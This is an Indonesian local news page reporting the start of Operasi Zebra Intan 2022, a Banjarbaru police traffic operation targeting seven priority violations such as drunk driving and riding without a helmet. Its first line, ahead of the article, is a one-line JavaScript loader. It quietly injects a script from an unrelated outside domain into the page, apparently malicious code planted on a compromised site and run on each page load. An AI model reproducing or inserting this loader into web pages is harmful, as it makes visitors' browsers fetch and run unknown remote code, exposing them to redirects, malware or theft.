(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarbaru

Operasi Zebra Intan 2022 Polres Banjarbaru Dimulai, Ini 7 Sasaran Pelanggaran Prioritas


KANALKALIMANTAN.COM, BANJARBARU – Operasi Zebra Intan 2022 di wilayah hukum Polres Banjarbaru dimulai 3 Oktober hingga 16 Oktober.

Operasi Zebra Intan yang berlangsung selama 14 hari menekankan tujuh pelanggaran prioritas bagi pengendara.

Kasat Lantas Polres Banjarbaru AKP GM Angga Satrya Wibawa mengatakan Operasi Zebra Intan 2022 di wilayah hukum Polres Banjarbaru berlangsung selama 14 hari.

“Operasi Zebra Intan 2022 menekankan tujuh prioritas pelanggaran untuk pengendara,” katanya, Senin (3/10/2022)

 

Pelanggaran yang akan ditindak dalam Operasi Zebra Intan 2022 di antaranya berkendara dalam keadaan mabuk, melawan arus atau melanggar rambu-rambu lalu lintas, berboncengan lebih dari 1 orang, melebihi batas kecepatan.

Kemudian berkendara di bawah umur, menggunakan ponsel saat berkendara dan tidak menggunakan helm SNI untuk roda dua, serta safety belt (sabuk pengaman) untuk roda 4.

 

Apel gelar pasukan Operasi Zebra Intan 2022. Foto: ibnu

“Yang jelas disini mengedepankan preemtif dan preventif karena untuk stasioner sementara masih belum diperkenankan, untuk penindatakan itu difokuskan penindakan secara elektronik atau e-TLE dan juga apabila menemukan pelanggaran itu akan dilakukan peneguran,” jelasnya.

Dalam penindakannya, Polres Banjarbaru menerjutkan seluruh personil Satuan Lalu Lintas (Satlantas) Polres Banjarbaru berkolaborasi dengan instansi vertikal lain.

Kasat Lantas Polres Banjarbaru AKP GM Angga Satrya Wibawa. Foto: ibnu

“Nanti kita akan berkolaborasi dengan instansi terkait seperti Dishub, TNI, Satpol PP dan lain-lain,” bebernya.

AKP Angga menegaskan dalam penindakan pihaknya lebih mengedepankan preemtif dan preventif.

“Apabila pelanggaran sangat-sangat fatal maka kita akan lakukan penindakan, kalau pelanggaran bisa teguran, maka kita lakukan teguran,” tuturnya.

Dirinya pun berpesan untuk masyarakat Kota Banjarbaru agar tertib berlalu lintas agar dapat menekan angka kecelakaan, sebab menurutnya laka lantas pasti diawali dengan pelanggaran lalu lintas. (Kanalkalimantan.com/ibnu)

Reporter : ibnu
Editor : bie

 

 

 

 

 

 


Al Ghifari

Recent Posts

Sekda HSU Sampaikan Raperda Pertanggungjawaban Pelaksanaan APBD 2023, Ini Angka Detailnya

KANALKALIMANTAN.COM, AMUNTAI - Sekretaris Daerah (Sekda) Hulu Sungai Utara (HSU) Adi Lesmana menyebut capaian target… Read More

35 menit ago

Permudah Kebutuhan Transaksi Jemaah Haji di Tanah Suci dengan BRImo

KANALKALIMANTAN.COM- Ibadah haji merupakan salah satu impian bagi umat Islam di seluruh dunia. Agar ibadah… Read More

56 menit ago

Bawaslu Banjarbaru Seleksi Panwascam Hanya di Empat Kecamatan

KANALKALIMANTAN.COM, BANJARBARU - Badan Pengawas Pemilihan Umum (Bawaslu) Kota Banjarbaru tengah merekrut Panitia Pengawas Kecamatan… Read More

1 jam ago

Pemko Banjarbaru Bentuk Tim Desk Pilkada 2024

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota (Pemko) Banjarbaru Provinsi Kalimantan Selatan (Kalsel) membentuk Tim Desk Pilkada… Read More

3 jam ago

Jelang Pilkada 2024, KPU HSU Melantik 50 Anggota PPK

KANALKALIMANTAN.COM, AMUNTAI - Komisi Pemilihan Umum (KPU) Kabupaten Hulu Sungai Utara (HSU) resmi melantik 50… Read More

4 jam ago

Pipa Bocor, Suplai Air Bersih di Banjarmasin Barat dan Tengah Terhenti

KANALKALIMANTAN.COM, BANJARMASIN - Pipa distribusi air bersih milik Perusahaan Air Minum (PAM) Bandarmasih di wilayah… Read More

5 jam ago

This website uses cookies.